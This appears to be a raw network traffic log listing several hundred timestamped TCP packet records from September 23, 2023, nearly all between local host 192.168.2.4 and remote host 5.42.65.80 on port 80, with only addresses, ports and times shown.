Sep 23, 2023 17:53:23.819910049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.819921970 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.819992065 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820076942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820082903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.820113897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.820154905 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820207119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820240021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.820265055 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820295095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820334911 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.820704937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820758104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820796967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820832968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.820839882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820869923 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.820905924 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.820996046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821120024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821156979 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.821183920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821221113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.821249008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821279049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821316957 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.821716070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821847916 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.821955919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.821995974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822140932 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822156906 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822233915 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822238922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.822341919 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822357893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822402000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.822419882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822480917 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822638988 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822679996 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.822772026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.822977066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823021889 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.823024035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823060989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.823085070 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823154926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823191881 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.823208094 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823261023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823297024 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.823508024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823548079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823822975 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823862076 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.823885918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823901892 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.823939085 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.823980093 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824013948 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.824026108 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824089050 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824127913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.824244022 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824378014 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824414968 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.824486017 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824783087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824820042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824878931 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.824956894 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.824982882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825052023 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825089931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.825107098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825184107 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825388908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825428009 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.825548887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825685024 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.825722933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.825983047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826019049 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.826073885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826147079 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826179981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826184034 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.826318026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826355934 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.826405048 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826463938 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826553106 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826589108 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.826631069 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826911926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.826950073 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.827128887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827161074 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.827286959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827362061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827390909 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827402115 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.827464104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827498913 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.827541113 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827589035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827625990 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.827653885 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827670097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827708006 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.827770948 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.827786922 CEST	80	49779	77.91.68.61	192.168.2.4
Sep 23, 2023 17:53:23.827961922 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828073978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828119993 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828147888 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828217030 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828218937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828304052 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828345060 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828361034 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828413010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828449965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828471899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828561068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828577042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828610897 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828653097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828705072 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828744888 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828761101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828795910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.828814983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.828994036 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829046965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829052925 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829117060 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829180002 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829180002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829245090 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829294920 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829330921 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829360008 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829435110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829469919 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829509974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829539061 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829545975 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829564095 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829603910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829632044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829687119 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829725981 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.829766989 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829821110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829871893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.829906940 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830054998 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830106974 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830138922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830163956 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830240011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830276012 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830303907 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830338955 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830363035 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830410004 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830449104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830476046 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830492973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830527067 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830583096 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830658913 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830717087 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830751896 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830773115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830801964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830837965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830866098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.830899000 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.830915928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831020117 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831059933 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831084967 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831149101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831186056 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831192970 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831262112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831356049 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831392050 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831440926 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831458092 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831499100 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831507921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831522942 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831557989 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831585884 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831620932 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831665039 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831756115 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831796885 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831814051 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831861973 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831897974 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.831918001 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.831994057 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832159042 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832194090 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.832216978 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832376003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832417965 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.832446098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832480907 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.832551003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832566977 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832603931 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.832631111 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832700968 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832737923 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.832748890 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832825899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832895994 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.832933903 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833012104 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833091021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833106995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833131075 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833148003 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833187103 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833204031 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833276033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833312035 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833400011 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833473921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833509922 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833596945 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833709002 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833746910 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833769083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833805084 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.833888054 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.833965063 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834002018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.834156990 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834290981 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834331036 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.834397078 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834501982 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834583044 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834616899 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.834645033 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834813118 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.834849119 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835169077 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835206985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835248947 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835341930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835380077 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835388899 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835463047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835505962 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835516930 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835570097 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835604906 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835629940 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835689068 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835752010 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835786104 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835805893 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835867882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835896969 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.835906029 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835931063 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.835958958 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836009026 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836045027 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836062908 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836100101 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836133003 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836136103 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836214066 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836239100 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836272001 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836328983 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836345911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836381912 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836464882 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836522102 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836543083 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836601019 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836633921 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836638927 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836677074 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836715937 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836731911 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836869955 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836926937 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.836961985 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.836977959 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837034941 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837060928 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837069988 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837097883 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837110996 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837160110 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837196112 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837239027 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837285995 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837332010 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837333918 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837351084 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837388992 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837416887 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837483883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837534904 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837568045 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837572098 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837640047 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837656021 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837677956 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837697983 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837708950 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837750912 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837793112 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837829113 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837869883 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837929964 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.837970018 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.837996960 CEST	80	49781	5.42.65.80	192.168.2.4
Sep 23, 2023 17:53:23.838042021 CEST	49781	80	192.168.2.4	5.42.65.80
Sep 23, 2023 17:53:23.838083029 CEST	80	49781	5.42.65.80	192.168.2.4
